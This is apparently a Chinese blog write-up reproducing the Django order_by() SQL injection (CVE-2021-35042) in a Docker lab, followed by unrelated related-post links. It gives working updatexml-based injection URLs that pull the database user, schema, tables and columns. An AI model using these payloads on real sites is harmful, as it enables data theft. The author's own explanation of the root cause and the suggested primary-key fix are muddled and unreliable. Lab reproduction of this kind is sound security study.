前言

SQL注入的原理是对web请求,表单或域名等提交查询的字符串没有进行安全检测过滤,攻击者可以拼接执行恶意SQL命令,导致用户数据泄露

漏洞原理

Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。

以下是我自己的理解,根据Django使用的框架中,他创建了apps.py并执行,会自动生成一个models.py

models.py调用了Collection的这个类

然后发送到了这边,而models又需要migrations来迁移文件,其中调用了models.AutoField,而它如果在没有增加id这个字段的时候,会自动增加一个自增的数据库类型的字段id,但恰恰在此需要设为主键(primary_key=True)否则又会报错,导致错误将id设置为主键,可以执行SQL命令且没有被过滤

所以当order==id时会出现一个自增序列的数据(可以是ID也是等于id)

而当order=-ID又会出现问题,而打印出一些敏感信息

*影响版本

Django 3.2

Django 3.1

环境搭建

靶机: 192.168.31.230

yum-config-manager --add-repo https://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo //下载阿里的镜像yum源

yum install docker-ce docker-ce-cli contaninerd.io

wget https://github.com/docker/compose/releases/download/1.25.0-rc4/docker-compose-Linux-x86_64 //下载docker-compose

service docker start
详细docker搭建请参考此链接:https://www.cnblogs.com/BlogVice-2203/p/16977227.html

将CVE-2021-35042上传到centos7

docker-compose build
docker-compose up -d //启动漏洞环境

环境启动成功后,查看http://your-ip:8000访问首页

构造poc

查当前用户
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20user())),1)%23

查当前数据库
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23

查表
?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%23

查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_name=%27users%27%20limit%200,1),0x5c),1)%23

查字段
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

查数据
?order=vuln_collection.name);select%20updatexml(1,concat(0x5c,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27vuln_collection%27limit%201,1),0x5c),1)%23

修复建议

1.将除了id以外的其他字段其中一个设置为主键(我自己对AutoField()的理解),这样或许可以避免id成为主键自增,在数据库中就没有了主键id,就不会导致SQL注入产生

2.更新最新版本

Django之SQL注入漏洞复现(CVE-2021-35042)的更多相关文章

  1. Django GIS SQL注入漏洞(CVE-2020-9402)

    影响版本 Django 1.11.29之前的1.11.x版本.2.2.11之前的2.2.x版本和3.0.4之前的3.0.x版本中存在SQL注入漏洞 提示有admin.vuln.vuln2,3个页面,存 ...

  2. 企业安全03Django GIS SQL注入漏洞CVE-2020-9402

    Django GIS SQL注入漏洞CVE-2020-9402 一.漏洞描述 Django是Django基金会的一套基于Python语言的开源Web应用框架.该框架包括面向对象的映射器.视图系统.模板 ...

  3. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  4. WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞

    漏洞名称: WordPress WP-Realty插件‘listing_id’参数SQL注入漏洞 CNNVD编号: CNNVD-201310-499 发布时间: 2013-10-23 更新时间: 20 ...

  5. Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)

    漏洞版本: mod_accounting 0.5 漏洞描述: BUGTRAQ ID: 62677 CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的 ...

  6. WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞

    漏洞名称: WordPress NOSpam PTI插件‘comment_post_ID’参数SQL注入漏洞 CNNVD编号: CNNVD-201309-388 发布时间: 2013-09-24 更新 ...

  7. ThinkCMF X2.2.2多处SQL注入漏洞分析

       1.     漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...

  8. ref:ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3)

    ThinkPHP Builder.php SQL注入漏洞(<= 3.2.3) ref:https://www.jianshu.com/p/18d06277161e TimeSHU 2018.04 ...

  9. Beescms_v4.0 sql注入漏洞分析

    Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...

  10. 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

    0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...

随机推荐

  1. day08-MySQL事务

    MySQL事务 先来看一个例子 有一张balance表: 需求:将tom的100块钱转到King账户中 执行的操作是: update balance set money = money -100 wh ...

  2. 代码随想录第二天| 977.有序数组的平方 ,209.长度最小的子数组 ,59.螺旋矩阵II

    2022/09/22 第二天 第一题 这题我就直接平方后排序了,很无脑但很快乐啊(官方题解是双指针 第二题 滑动窗口的问题,本来我也是直接暴力求解发现在leetCode上超时,看了官方题解,也是第一次 ...

  3. capability参数配置

    前言 本文为在霍格沃兹测试开发学社的学习经历分享 简介 功能:配置 Appium 会话,告诉 Appium 服务器需要自动化的平台的应用程序 形式:键值对的集合,键对应设置的名称,值对应设置的值 主要 ...

  4. 算法设计(动态规划应用实验报告)实现基于贪婪技术思想的Prim算法、Dijkstra算法

    一.名称 动态规划法应用 二.目的 1.贪婪技术的基本思想: 2.学会运用贪婪技术解决实际设计应用中碰到的问题. 三.要求 1.实现基于贪婪技术思想的Prim算法: 2.实现基于贪婪技术思想的Dijk ...

  5. spring boot+vue前后端项目的分离(我的第一个前后端分离项目)

    文章目录 1.前端vue的搭建 2.后端项目的构建 pom文件中引入的jar包 yml文件用来配置连接数据库和端口的设置 application.property进行一些整合 controller层( ...

  6. Linux执行jsp命令的时候报错:-bash: jps: command not found

    前言:在zookeeper学习的时候,执行jsp命令查看zookpper运行状态的时候发现报错: -bash: jps: command not found 翻阅了一大批文章,不是东拼西凑,就是缺斤少 ...

  7. c语言中 -> 的用法

    ->是一个整体,它是用于指向结构体. 1.换种说法,如果我们在C语言中定义了一个结构体,然后申明一个指针指向这个结构体,那么我们要用指针取出结构体中的数据,就要用到"->&quo ...

  8. ML-决策树

    信息增益 香农熵: 指混乱程度,越混乱,值越大 信息增益(information gain): 在划分数据集前后信息发生的变化称为信息增益(香农熵的差) 基尼不纯度也可度量集合的无序程度 香农熵的计算 ...

  9. java中类的关系的总结

    类和类之间存在多种关系,而这种关系在我们的代码中司空见惯,有时多种类关系很难区分 (由于水平有限,没有画出类的关系图,关系图可以参考参考链接) 继承关系 继承是指一个子类(子接口)继承父类(父接口)然 ...

  10. 开源网络协议栈onps诞生记

    小孩没娘,说来话长,一切都要从LwIP说起.大约是06年9月,本人在二姨的坛口发布了一篇小文--<uC/OS-II 平台下的 LwIP 移植笔记>.自此一发不可收拾,开启了一段我与LwIP ...